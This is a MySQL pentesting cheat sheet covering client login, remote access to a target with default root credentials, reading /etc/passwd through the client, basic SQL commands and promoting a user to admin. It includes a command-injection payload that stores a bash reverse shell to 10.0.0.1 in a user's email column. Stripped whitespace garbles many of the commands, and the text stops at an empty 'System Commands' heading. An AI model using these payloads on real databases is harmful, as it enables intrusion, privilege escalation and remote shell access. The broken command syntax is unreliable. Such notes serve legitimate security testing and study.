# No passwordmysql-uusername# With Passwordmysql-uusername-p# Specity database namemysql-uusername-pdatabase_name# Execute commandsmysql-uusername-pdatabase_name-e"show databases;"echo'<password>'|mysql-uusername-pdatabase_name-e"show databases;"# Execute commands via a fileecho'show tables;'>example.sqlmysql-uusername--password='password'database_name-v<example.sql# Read arbitrary filesmysql-uusername--password='password'database_name-v</etc/passwd
Remote
mysql-uusername-p-h<target-ip>-P3306# Without password (remove -p)mysql-uusername-h<target-ip>-P3306# Specify database (-D)mysql-uusername-p-h<target-ip>-Ddatabase_name# Default credential (username: root, no password)mysql-uroot-h<target-ip>-P3306
Commands
After connecting MySQL, you can load a local .sql file.
Note that you need to change the current directory to the directory in which the .sql file is located.
> source example.sql
Belows are basic commands.
# Display databases> show databases;# Switch to the database> use db_name;# Display tables in the current database> show tables;# Display tables and table type> show full tables;# Display tables in the database> show tables from <database>;# Display tables which names start with 'user'> show tables like 'user%';# Display tables which names start with 'user' in the database> show tables from <database> like 'user%';# Display columns in a given table> show columns from <table>;# Display everything in the table>select * from <table>;# Create new table> create table table_name(column_namecolumn_type);>createtabletable_name(user_idint,user_namevarchar(40));# Create an user-defined function> create functionfunc_name(param1,param2) returns datatype;>createfunctionnew_fund(ageinteger) returnsinteger;# Use a function>select func_name(param1, param2);# Insert new record to a given table> insert into <table> values(value1,value2);# Update data in a given table> update <table> set <column>='<value>'> update <table> set <column1>='<value1>',<column2>='<value2>'# e.g.> update users set role='admin'whereusername='john';
Command Injection
We can inject the OS command to column values e.g. email address.
Depending on the situation, we may be able to execute arbitrary command.
# Update existing user email to execute reverse shell> update exampledb.users SET email='admin@shell|| bash -c "bash -i >& /dev/tcp/10.0.0.1/1234 0>&1" &'wherenamelike'admin%';
System Commands
We can run the system command in MySQL shell as below. Depending on the situation, we may be able to escalate privileges.